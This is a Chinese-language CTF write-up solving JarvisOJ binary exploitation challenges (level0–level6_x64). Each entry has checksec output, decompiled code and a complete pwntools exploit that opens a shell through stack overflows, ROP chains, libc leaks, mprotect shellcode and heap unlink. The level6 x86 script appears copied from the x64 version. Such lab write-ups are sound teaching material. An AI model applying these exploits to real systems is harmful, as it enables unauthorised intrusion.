骑麦兜看落日

[WriteUp]JarvisOJ

字数统计: 9.9k阅读时长: 52 min
2018/08/13 Share

PWN


[XMAN]level0


题目信息

nc pwn2.jarvisoj.com 9881


程序分析

1
2
3
4
5
6
7
8
9
root@ls-Linux:~/Desktop# file level0
level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
root@ls-Linux:~/Desktop# checksec level0
[*] '/home/ls/Desktop/level0'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位ELF文件,动态链接,没有过滤符号

只开启了NX保护


解题过程

打开IDA,找到main()函数F5反编译

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function(1LL, "Hello, World\n");
}

进入函数vulnerable_function()

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

return read(0, &buf, 0x200uLL);
}

可以看到有栈溢出,并且有一个callsystem()函数可以利用,所以只要淹没ebp到这个地址就可以了


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'level0'
#ip = ''
#port = ''

def gdb(script = ''):
attach(io,gdbscript = script)

elf = ELF(exe)
io = process(exe)
#io = remote(ip,port)

padding = 0x88 * 'A'
system_addr = 0x400596
payload = padding + p64(system_addr)

io.recvuntil('Hello, World')
io.sendline(payload)

io.interactive()

相关资料


[XMAN]level1


题目信息

nc pwn2.jarvisoj.com 9877


程序分析

1
2
3
4
5
6
7
8
9
10
root@ls-Linux:~/Desktop# file level1
level1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped
root@ls-Linux:~/Desktop# checksec level1
[*] '/home/ls/Desktop/level1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

32位elf,动态链接,没有过滤符号

没有开任何保护


解题过程

打开IDA,找到main()函数,按F5一键反编译

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

进入vulnerable_function()函数查看

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

printf("What's this:%p?\n", &buf);
return read(0, &buf, 0x100u);
}

存在栈溢出,并且打印了buf的地址,可以利用buf写入shellcode,然后返回到buf


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")

exe = './level1'
ip = 'pwn2.jarvisoj.com'
port = '9877'

def gdb(script = ''):
attach(io,gdbscript = script)

elf = ELF(exe)
io = process(exe)
#io = remote(ip,port)

shellcode = asm(shellcraft.sh())
padding = (0x8C-len(shellcode)) * 'A'
system_addr = int(io.recv()[-10:-2],16)
payload = shellcode + padding + p32(system_addr)

io.sendline(payload)

io.interactive()

相关资料


[XMAN]level2


题目信息

nc pwn2.jarvisoj.com 9878


程序分析

1
2
3
4
5
6
7
8
9
root@ls-Linux:~/Desktop# file level2
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped
root@ls-Linux:~/Desktop# checksec level2
[*] '/home/ls/Desktop/level2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位ELF文件,动态链接.没有过滤符号

开启了NX保护


解题过程

使用IDA打开程序,F5反编译

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}

进入vulerable_function()函数,

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

system("echo Input:");
return read(0, &buf, 0x100u);
}

发现存在栈溢出

因为调用了system()函数,可以溢出’/bin/sh’到system()的参数上,通过ROPgadget搜索字符串

1
2
3
4
root@ls-Linux:~/Desktop# ROPgadget --binary level2 --string '/bin/sh' 
Strings information
============================================================
0x0804a024 : /bin/sh

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")

exe = './level2'
#ip = 'pwn2.jarvisoj.com'
#port = '9878'

def gdb(script = ''):
attach(io,gdbscript = script)

elf = ELF(exe)
io = process(exe)
#io = remote(ip,port)

padding = 0x8C * 'A'
bin_sh_addr = 0x0804A024
system_addr = 0x0804849E
payload = padding + p32(system_addr) +p32(bin_sh_addr)

io.recvuntil('Input:')
io.sendline(payload)

io.interactive()

相关资料


[XMAN]level2(x64)


题目信息

nc pwn2.jarvisoj.com 9882


程序分析

1
2
3
4
5
6
7
8
9
root@ls-Linux:~/Desktop# file level2_x64 
level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped
root@ls-Linux:~/Desktop# checksec level2_x64
[*] '/home/ls/Desktop/level2_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位ELF文件,动态链接,没有过滤符号

只开启了NX保护


解题过程

打开IDA,找到main(),一键反编译

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return system("echo 'Hello World!'");
}

这里调用了system()函数,应该可以利用,进入vulnerable_function()函数

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

system("echo Input:");
return read(0, &buf, 0x200uLL);
}

有明显的栈溢出,可以传入参数/bin/sh返回到system()函数

但是需要注意的是x64系统与x86系统传参方式的差异,x86系统中一次将参数压栈,而x64则是先将参数压入寄存器,再压入栈,所以需要使用ROPgadget查找一些gadget

1
2
root@ls-Linux:~/Desktop# ROPgadget --binary level2_x64 --only "pop|ret" | grep "rdi"
0x00000000004006b3 : pop rdi ; ret

再查找一下字符串

1
2
3
4
root@ls-Linux:~/Desktop# ROPgadget --binary level2_x64 --string '/bin/sh'
Strings information
============================================================
0x0000000000600a90 : /bin/sh

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = './level2_x64'
ip = 'pwn2.jarvisoj.com'
port = '9882'

def gdb(script = ''):
attach(io,gdbscript = script)

elf = ELF(exe)
io = process(exe)
#io = remote(ip,port)

padding = 0x88 * 'A'
pop_rdi_addr = 0x00000000004006b3
bin_sh_addr = 0x0000000000600a90
system_addr = elf.plt['system']
payload = padding + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)

io.recvuntil('Input:')
io.sendline(payload)

io.interactive()

相关资料


[XMAN]level3


题目信息

nc pwn2.jarvisoj.com 9879


程序分析

1
2
3
4
5
6
7
8
9
ls@ls-Linux:~/Desktop/level3$ file level3 
level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
ls@ls-Linux:~/Desktop/level3$ checksec level3
[*] '/home/ls/Desktop/level3/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位ELF文件,动态链接,没有过滤符号

有NX保护


解题过程

打开IDA,找到main()函数,一键反编译

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

进入vulnerable_function()查看

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}

存在有栈溢出

这道题开了NX保护,无法在栈上执行shellcode

这道题没有调用system()函数,无法直接返回到system()

但是这道题给了libc库,而且调用了read()库函数和write()库函数,可以通过read()函数溢出leak出运行时write()函数在libc库的的地址,再通过write()函数和system()函数的相对偏移地址计算出system()函数的地址,然后rop回vnlnerable_function函数,执行system(),获得shell


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "i386",os = "linux")

def gdb(script = ''):
attach(io,gdbscript = script)

exe = './level3'
libc = 'libc-2.19.so'
ip = 'pwn2.jarvisoj.com'
port = '9879'
elf = ELF(exe)
lib = ELF(libc)

#io = process(exe)
io = remote(ip,port)

padding = 'A' * 0x8C
payload1 = padding + p32(elf.symbols['write']) + p32(elf.symbols['vulnerable_function']) + p32(1) + p32(elf.got['write']) + p32(4)
io.recv()
io.send(payload1)

write_addr = u32(io.recv(4))
system_addr = write_addr - (lib.symbols['write'] - lib.symbols['system'])
bin_sh_addr = write_addr - (lib.symbols['write'] - lib.search('/bin/sh').next())
payload2 = padding + p32(system_addr) + p32(0) + p32(bin_sh_addr)
io.recvuntil('Input:')
io.sendline(payload2)

io.interactive()

相关资料


[XMAN]level3(x64)


题目信息

nc pwn2.jarvisoj.com 9883


程序分析

1
2
3
4
5
6
7
8
9
ls@ls-Linux:~/Desktop$ file level3_x64 
level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
ls@ls-Linux:~/Desktop$ checksec level3_x64
[*] '/home/ls/Desktop/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

64位ELF文件,动态链接,没有符号过滤

只开启了NX保护


解题过程

装作没有做过level3的样子

打开IDA,找到main()],一键F5反编译

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
return write(1, "Hello, World!\n", 0xEuLL);
}

先调用了函数vulnerable_function(),然后调用write()函数,查看函数vulnerable_function()

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]

write(1, "Input:\n", 7uLL);
return read(0, &buf, 0x200uLL);
}

存在有栈溢出

这道题开了NX保护,无法在栈上执行shellcode

这道题没有调用system()函数,无法直接返回到system()

但是这道题给了libc库,而且调用了read()库函数和write()库函数,可以通过read()函数leak出运行时write()函数在libc库的的地址,再通过write()函数和system()函数的相对偏移地址计算出system()函数的地址,然后rop回vnlnerable_function函数,执行system(),获得shell

但是64位系统在传参时一次传递给rdi,rsi,rdx,rcx,r8,r9,所以需要ROPgadget得到传参的相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ls@ls-Linux:~/Desktop$ ROPgadget --binary level3_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 11

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'level3_x64'
lib = 'libc-2.19.so'
ip = 'pwn2.jarvisoj.com'
port = '9883'

def gdb(script = ''):
attach(io,gdbscript = script)

elf = ELF(exe)
libc = ELF(lib)
#io = process(exe)
io = remote(ip,port)

padding = 'A' * 0x88
pop_rdi_addr = 0x4006b3
pop_rsi_addr = 0x4006b1

payload1 = padding
payload1 += p64(pop_rdi_addr) + p64(1)
payload1 += p64(pop_rsi_addr) + p64(elf.got['write']) + p64(0)
payload1 += p64(elf.symbols['write'])
payload1 += p64(elf.symbols['vulnerable_function'])

io.recv()
io.sendline(payload1)

write_addr = u64(io.recv(8))
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
bin_sh_addr = write_addr - (libc.symbols['write'] - libc.search('/bin/sh').next())

payload2 = padding
payload2 += p64(pop_rdi_addr) + p64(bin_sh_addr)
payload2 += p64(system_addr)

io.recvuntil('Input:')
io.sendline(payload2)

io.interactive()

相关资料


[XMAN]level4


题目信息

nc pwn2.jarvisoj.com 9880


程序分析

1
2
3
4
5
6
7
8
9
ls@ls-Linux:~/Desktop$ file level4 
level4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbcb6b7104566b4b70e843bc97c0609b7a018, not stripped
ls@ls-Linux:~/Desktop$ checksec level4
[*] '/home/ls/Desktop/level4'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位ELF文件,动态链接,没有过滤符号

开启了RELRO和NX


解题过程

打开IDA,找到main()函数,一键反编译

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}

进入函数vulnerable_function()查看

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h]

return read(0, &buf, 0x100u);
}

这里有明显的栈溢出

因为开启了NX保护,所以无法返回到栈,程序中没有system()函数,并且不知道libc库的版本,需要memory leak找到system()函数地址,然后调用system()拿到shell


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = './level4'
ip = 'pwn2.jarvisoj.com'
port = '9880'

#io = process(exe)
io = remote(ip,port)
elf = ELF(exe)

def gdb(script = ''):
attach(io,gdbscript = script)

def leak(address):
payload = padding + p32(elf.symbols['write']) + p32(elf.symbols['vulnerable_function']) + p32(1) +p32(address) + p32(4)
io.send(payload)
data = io.recv(4)
return data

padding = 'A' * 0x8C
ppp_ret = 0x08048509
bss_addr = elf.bss()
d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')

payload = padding
payload += p32(elf.symbols['read']) + p32(ppp_ret) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(system_addr) + p32(0) + p32(bss_addr)

io.send(payload)
io.send('/bin/sh\0')

io.interactive()

相关资料


[XMAN]level5


题目信息

mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。

nc pwn2.jarvisoj.com 9884

附件同level3_x64


程序分析

1
2
3
4
5
6
7
8
9
ls@ls-Linux:~/Desktop$ file level3_x64 
level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
ls@ls-Linux:~/Desktop$ checksec level3_x64
[*] '/home/ls/Desktop/level3_x64'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题过程

题目提示用mmap()mprotect(),查了一下这两个函数的用法

mmap()函数

函数原型:

1
void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset)

参数:

start:要映射到的内存区域的起始地址,通常都是用NULL(NULL即为0)。NULL表示由内核来指定该内存地址

length:要映射的内存区域的大小

prot:期望的内存保护标志,不能与文件的打开模式冲突。是以下的某个值,可以通过or运算合理地组合在一起

PROT_EXEC //页内容可以被执行

PROT_READ //页内容可以被读取

PROT_WRITE //页可以被写入

PROT_NONE //页不可访问

flags:指定映射对象的类型,映射选项和映射页是否可以共享。它的值可以是一个或者多个以下位的组合体

MAP_FIXED :使用指定的映射起始地址,如果由start和len参数指定的内存区重叠于现存的映射空间,重叠部分将会被丢弃。如果指定的起始地址不可用,操作将会失败。并且起始地址必须落在页的边界上。

MAP_SHARED :对映射区域的写入数据会复制回文件内, 而且允许其他映射该文件的进程共享。

MAP_PRIVATE :建立一个写入时拷贝的私有映射。内存区域的写入不会影响到原文件。这个标志和以上标志是互斥的,只能使用其中一个。

MAP_DENYWRITE :这个标志被忽略。

MAP_EXECUTABLE :同上

MAP_NORESERVE :不要为这个映射保留交换空间。当交换空间被保留,对映射区修改的可能会得到保证。当交换空间不被保留,同时内存不足,对映射区的修改会引起段违例信号。

MAP_LOCKED :锁定映射区的页面,从而防止页面被交换出内存。

MAP_GROWSDOWN :用于堆栈,告诉内核VM系统,映射区可以向下扩展。

MAP_ANONYMOUS :匿名映射,映射区不与任何文件关联。

MAP_ANON :MAP_ANONYMOUS的别称,不再被使用。

MAP_FILE :兼容标志,被忽略。

MAP_32BIT :将映射区放在进程地址空间的低2GB,MAP_FIXED指定时会被忽略。当前这个标志只在x86-64平台上得到支持。

MAP_POPULATE :为文件映射通过预读的方式准备好页表。随后对映射区的访问不会被页违例阻塞。

MAP_NONBLOCK :仅和MAP_POPULATE一起使用时才有意义。不执行预读,只为已存在于内存中的页面建立页表入口。

fd:文件描述符(由open函数返回)

offset:表示被映射对象(即文件)从那里开始对映,通常都是用0。 该值应该为大小为PAGE_SIZE的整数倍

返回值:

成功执行时返回被映射区的指针,失败时返回MAP_FAILED

mprotect()函数

函数原型:

1
int mprotect(const void *start, size_t len, int prot);

参数:

start:起始地址

len:映射区长度

port:权限值

PROT_EXEC //页内容可以被执行

PROT_READ //页内容可以被读取

PROT_WRITE //页可以被写入

PROT_NONE //页不可访问

返回值:

成功时,mprotect() 返回零。错误时,返回 -1,并把 errno 设置为合适的值。

其实没有太明白这两个函数的用途,但是只要大致知道mmap()可以创建一个可执行的内存区域,mprotect()可以更改一块内存区域的权限就好

所以大致的思路就是这样

栈溢出 -> leak write -> hijack got -> write shellcode to bss -> call mprotect to set ‘rwx’ -> exec shellcode


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'level3_x64'
#lib = '/lib/x86_64-linux-gnu/libc.so.6'
lib = 'libc-2.19.so'
ip = 'pwn2.jarvisoj.com'
port = '9884'

#io = process(exe)
io = remote(ip,port)
elf = ELF(exe)
bss = elf.bss()
libc = ELF(lib)
padding = 'A' * 0x88
p_rdi = 0x4006b3
p_rsi_r15 = 0x4006b1
p_rbx_rbp_r12_r13_r14_r15 = 0x4006A6

payload = padding
payload += p64(p_rdi) + p64(1)
payload += p64(p_rsi_r15) + p64(elf.got['write']) + p64(0)
payload += p64(elf.plt['write'])
payload += p64(p_rdi) + p64(0)
payload += p64(p_rsi_r15) + p64(elf.got['__libc_start_main']) + p64(0)
payload += p64(elf.plt['read'])
payload += p64(elf.symbols['vulnerable_function'])

io.recv()
io.send(payload)

write_addr = u64(io.recv()[:8])
mprotect_addr = write_addr - (libc.symbols['write'] - libc.symbols['mprotect'])
io.send(p64(mprotect_addr))

payload = padding
payload += p64(p_rdi) + p64(0)
payload += p64(p_rsi_r15) + p64(elf.got['__gmon_start__']) + p64(0)
payload += p64(elf.plt['read'])
payload += p64(elf.symbols['vulnerable_function'])

io.recv()
io.send(payload)

io.send(p64(bss))

payload = padding
payload += p64(p_rdi) + p64(0)
payload += p64(p_rsi_r15) + p64(bss) + p64(0)
payload += p64(elf.plt['read'])
payload += p64(elf.symbols['vulnerable_function'])

io.recv()
io.send(payload)

sh = asm(shellcraft.sh())
io.send(sh)

payload = padding
payload += p64(0x4006A6)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(elf.got['__libc_start_main'])
payload += p64(7)
payload += p64(0x1000)
payload += p64(0x600000)
payload += p64(0x400690)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(elf.got['__gmon_start__'])
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0x400690)

io.recv()
io.send(payload)

io.interactive()

相关资料


[XMAN]level6


题目信息

nc pwn2.jarvisoj.com 9885


程序分析

1
2
3
4
5
6
7
8
9
ls@ls-Linux:~/Desktop$ file freenote_x86 
freenote_x86: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=94288f83ffe1e82c41edda5e60657f869f2580c2, stripped
ls@ls-Linux:~/Desktop$ checksec freenote_x86
[*] '/home/ls/Desktop/freenote_x86'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位程序,动态链接,去掉了符号

只开启了NX保护


解题过程

题目有4个功能

1
2
list:
显示所有note信息
1
2
new:
创建新的note,最多为四个note
1
2
edit:
编辑note,长度相同时在原处编辑,否则realloc()
1
2
delete:
删除note

其中包含了一个note的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
struct note{
int inuse;
int lenth;
int buf;
}
struct{
int max;
int cnt;
struct note0;
struct note1;
struct note2;
struct note3;
}

程序在删除时调用free(),没有将其指针设置为null,存在UAF

首先可以free掉note,leak出heap_base,

然后利用double free,伪造一个chunk并将其free,触发unlink

再利用edit功能劫持got表,调用system()


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'freenote_x64'
lib = 'libc-2.19.so'
ip = 'pwn2.jarvisoj.com'
port = '9886'
elf = ELF(exe)
libc = ELF(lib)

#io = process(exe)
io = remote(ip,port)

def gdb(script = ''):
attach(io,gdbscript = script)

def list():
io.recvuntil('Your choice:')
io.sendline('1')

def new(context):
io.recvuntil('Your choice:')
io.sendline('2')
io.recvuntil('Length of new note:')
io.sendline(str(len(context)))
io.recvuntil('Enter your note:')
io.send(context)

def edit(index, context):
io.recvuntil('Your choice:')
io.sendline('3')
io.recvuntil('Note number:')
io.sendline(str(index))
io.recvuntil('Length of note:')
io.sendline(str(len(context)))
io.recvuntil('Enter your note:')
io.send(context)

def delete(index):
io.recvuntil('Your choice:')
io.sendline('4')
io.recvuntil('Note number:')
io.sendline(str(index))

#gdb('b * 0x400D87')

#----------heap leak----------#
new('A'*0x80)
new('A'*0x80)
new('A'*0x80)
new('A'*0x80)
delete(0)
delete(2)
new('A'*0x8)
new('A'*0x8)
list()
io.recvuntil('0. AAAAAAAA')
heap_addr = u64(io.recv(4).ljust(8, '\x00')) - 0x1940
io.recvuntil('2. AAAAAAAA')
libc_addr = u64(io.recv(6).ljust(8, '\x00')) - 0x3c4b78

delete(0)
delete(1)
delete(2)
delete(3)

note0 = p64(0)
note0 += p64(0x80+0x90+0x90+1)
note0 += p64(heap_addr+0x30-0x18)
note0 += p64(heap_addr+0x30-0x10)

note1 = '/bin/sh\x00'

note2 = 'A' * 0x80
note2 += p64(0x80+0x90+0x90)
note2 += p64(0x90)
note2 += 0x80*'A'
note2 += p64(0x90)
note2 += p64(0x171)
note2 += 0x160*'A'

new(note0)
new(note1)
new(note2)
delete(3)

payload = p64(0x2)
payload += p64(1)
payload += p64(0x8)
payload += p64(elf.got['free'])
edit(0, payload)

list()
io.recvuntil('0. ')
free_addr = u64(io.recv(6).ljust(8, '\x00'))

system_addr = free_addr - libc.symbols['free'] + libc.symbols['system']
edit(0, p64(system_addr))

delete(1)
io.interactive()

相关资料


[XMAN]level6_x64


题目信息

nc pwn2.jarvisoj.com 9886


程序分析

1
2
3
4
5
6
7
8
9
$ file freenote_x64 
freenote_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
$ checksec freenote_x64
[*] '/home/ls/Desktop/freenote_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

开启了NX和canary


解题过程

这道题是level6的64位形式,本质是相同的,攻击手法也相同,只是位数的区别

题目有4个功能

1
2
list:
显示所有note信息
1
2
new:
创建新的note,最多为四个note
1
2
edit:
编辑note,长度相同时在原处编辑,否则realloc()
1
2
delete:
删除note

其中包含了一个note的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
struct note{
int inuse;
int lenth;
int buf;
}
struct{
int max;
int cnt;
struct note0;
struct note1;
struct note2;
struct note3;
}

程序在删除时调用free(),没有将其指针设置为null,存在UAF

首先可以free掉note,leak出heap_base,

然后利用double free,伪造一个chunk并将其free,触发unlink

再利用edit功能劫持got表,调用system()


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = './freenote_x64'
#lib = '/lib/x86_64-linux-gnu/libc.so.6'
lib = 'libc-2.19.so'
ip = 'pwn2.jarvisoj.com'
port = '9886'
elf = ELF(exe)
libc = ELF(lib)

#io = process(exe,env={"LD_PRELOAD":libc.path})
io = remote(ip,port)

def gdb(script = ''):
attach(io,gdbscript = script)

def list():
io.recvuntil('Your choice:')
io.sendline('1')

def new(context):
io.recvuntil('Your choice:')
io.sendline('2')
io.recvuntil('Length of new note:')
io.sendline(str(len(context)))
io.recvuntil('Enter your note:')
io.send(context)

def edit(index, context):
io.recvuntil('Your choice:')
io.sendline('3')
io.recvuntil('Note number:')
io.sendline(str(index))
io.recvuntil('Length of note:')
io.sendline(str(len(context)))
io.recvuntil('Enter your note:')
io.send(context)

def delete(index):
io.recvuntil('Your choice:')
io.sendline('4')
io.recvuntil('Note number:')
io.sendline(str(index))


#----------heap leak----------#
new('A'*0x80)
new('A'*0x80)
new('A'*0x80)
new('A'*0x80)
delete(0)
delete(2)
new('A'*0x8)
new('A'*0x8)
list()
io.recvuntil('0. AAAAAAAA')
heap_addr = u64(io.recv(4).ljust(8, '\x00')) - 0x1940
io.recvuntil('2. AAAAAAAA')
libc_addr = u64(io.recv(6).ljust(8, '\x00')) - 3925944

#----------unlink----------#

delete(0)
delete(1)
delete(2)
delete(3)

note0 = p64(0)
note0 += p64(0x80+0x90+0x90+1)
note0 += p64(heap_addr+0x30-0x18)
note0 += p64(heap_addr+0x30-0x10)

note1 = '/bin/sh\x00'

note2 = 'A' * 0x80
note2 += p64(0x80+0x90+0x90)
note2 += p64(0x90)
note2 += 0x80*'A'
note2 += p64(0x90)
note2 += p64(0x171)
note2 += 0x160*'A'

new(note0)
new(note1)
new(note2)
delete(3)

#----------hijack----------#

payload = p64(0x2)
payload += p64(1)
payload += p64(0x8)
payload += p64(elf.got['free'])
edit(0, payload)
list()
io.recvuntil('0. ')
free_addr = u64(io.recv(6).ljust(8, '\x00'))

system_addr = libc_addr + libc.symbols['system'] #free_addr - libc.symbols['free'] + libc.symbols['system']
edit(0, p64(system_addr))
print('libc:'+hex(libc_addr))
print('system:'+hex(system_addr))

delete(1)
io.interactive()

相关资料


Tell Me Something


题目信息

Do you have something to tell me?

nc pwn.jarvisoj.com 9876


程序分析

1
2
3
4
5
6
7
8
$ file guestbook 
guestbook: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7429502fc855237f3f8eeceb262ddcf6b2c2854e, not stripped
$ checksec guestbook
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

解题过程

